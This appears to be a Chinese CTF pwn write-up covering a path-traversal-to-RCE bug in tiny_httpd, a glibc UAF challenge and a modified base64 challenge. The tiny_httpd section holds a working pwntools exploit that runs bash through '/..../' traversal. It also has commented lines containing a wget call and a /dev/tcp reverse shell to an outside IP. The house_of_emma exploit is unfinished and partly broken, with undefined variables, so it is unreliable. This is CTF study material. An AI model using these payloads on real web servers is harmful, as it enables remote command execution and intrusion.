tiny_httpd

C语言实现的 httpd 服务,题目是基于框架改过来的,加了 url 的过滤。

漏洞在 URL 过滤不严格导致目录穿越,导致可以执行任意文件,且文件参数可控。

目录穿越

1
2
3
4
5
6
7
8
9
/* path filter */
int len = strlen(path);
for (i = 0, j = 0; j < len;) {
if (path[j] == '.' && path[j + 1] == '.') {
j++;
}
path[i++] = path[j++];
}
path[i++] = '\0';

当 i 等于 . ,且 i+1 也等于 . ,就记录 i+1 的 . ,双写即可绕过。

文件执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dup2(cgi_output[1], STDOUT);
dup2(cgi_input[0], STDIN);
close(cgi_output[0]);
close(cgi_input[1]);
sprintf(meth_env, "REQUEST_METHOD=%s", method);
putenv(meth_env);
if (strcasecmp(method, "GET") == 0) {
sprintf(query_env, "QUERY_STRING=%s", query_string);
putenv(query_env);
}
else { /* POST */
sprintf(length_env, "CONTENT_LENGTH=%d", content_length);
putenv(length_env);
}
execl(path, NULL);
exit(0);

这里就是 execl、dup2、pipe 多线程操作。

  • execl 函数定义:execl(const char * path, const char * arg, …);

    • path 字符串所代表的文件路径
    • arg 执行参数

    execl("/bin/ls","ls", "-la", (char *)0);

  • dup2 将 cgi_input\cgi_output 重定向到 stdin\stdout ,这个体系中就是给 execl path 打开的文件传递参数

这里原来设计意图应该是给 color.cgi 传递参数,但由于目录穿越导致任意命令执行

EXP

将 flag 写入 index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level=True
#p=remote('123.57.132.168', 43377)

p = remote('127.0.0.1',8899)

strings='''POST '''
strings+='''/..../..../..../..../..../..../..../..../..../bin/bash'''
strings+=''' HTTP/1.1
Host: 120.24.72.234
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://120.24.72.234:8899
Connection: close
Referer: http://120.24.72.234:8899/
Upgrade-Insecure-Requests: 1

echo `cat /flag` > ./htdocs/index.html
'''

p.sendline(str(strings))
print p.recv()
#p.recvuntil('HTTP/1.0 200 OK\r\n')
#p.sendline('/bin/bash -c "wget 120.24.72.234:8899"')
#p.sendline('bash -c "bash -i >& /dev/tcp/119.91.104.28/20003 0>&1"')
p.interactive()

house_of_emma

高版本的 UAF ,泄露地址后的 exp 利用还没有完全折腾出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
import sys

local = 1
binary = "./pwn"
local_libc = "/lib/x86_64-linux-gnu/libc.so.6"
ip = "192.168.40.10"
port = 29538
remote_libc = "./libc.so.6"


def main(ip=ip,port=port):
global p,elf,libc
elf = ELF(binary)
if local:
context.log_level = "debug"
p=process(binary)
# p = process(binary,env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF(local_libc)
pwn()
else:
p=remote(ip,port)
libc=ELF(remote_libc)
pwn()

def add(id,size):
p.recvuntil('Pls input the opcode\n')
payload='\x01'+p8(id)+p16(size)+'\x05'
p.send(payload)
def delete(id):
p.recvuntil('Pls input the opcode\n')
payload='\x02'+p8(id)+'\x05'
p.send(payload)
def show(id):
p.recvuntil('Pls input the opcode\n')
payload='\x03'+p8(id)+'\x05'
p.send(payload)
def edit(id,data):
p.recvuntil('Pls input the opcode\n')
payload='\x04'+p8(id)+p16(len(data))+str(data)+'\x05'
p.send(payload)

def pwn():
add(0,0x440)
add(1,0x4a0)
add(2,0x410)
add(3,0x490)
add(4,0x430)
add(5,0x490)
add(6,0x430)
add(9,0x4c0)
add(10,0x490)
add(11,0x490)
add(12,0x490)
add(13,0x490)
add(14,0x490)
add(15,0x490)
add(16,0x490)
delete(1)
show(1)

leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-(0x7ffff7fb10d0-0x00007ffff7dbe000)
main_arena=leak+(0x00007ffff7fb10b0-0x7ffff7fb0cc0)
addr=libcbase+(0x7ffff7fb0390-0x00007ffff7dbe000) #0x7ffff7fb1660

payload = add(0,7,0x500)
payload += delete(0,3)
payload += edit(0,1,0x20, p64(main_arena)*2+p64(0)+p64(tcache_bins-0x20))
payload += add(0,8,0x410)
p.sendline(payload)

for i in range(7):
delete(1,i+10)
delete(1,9)
show(1,11)
heap_addr = u64(io.recvuntil(b'\x0a')[-6:-1].ljust(8,b'\x00'))<<12
heap_base = heap_addr - 0x4000

p.interactive()

def cat_flag():
global flag
p.recv()
p.sendline("cat flag")
flag = p.recvuntil('\n',drop=True).strip()

def debug(p,content=''):
if local:
gdb.attach(p,content)
raw_input()

if __name__ == "__main__":
if(len(sys.argv)==3):
ip = sys.argv[1]
port = sys.argv[2]
main()

Maybe_fun_game_3

红明谷 Maybe_fun_game 的升级改进版本,bindiff 一下就知道

image-20211119155609100

输入输出需要进行解密加密,升级就是将解密部分改了,和之前题目一样是个变异的 base64 ,在里面加入了前后校验位、长度校验位,更加在加密的时候用了随机数,每次输出加密的时候加密结果都不一样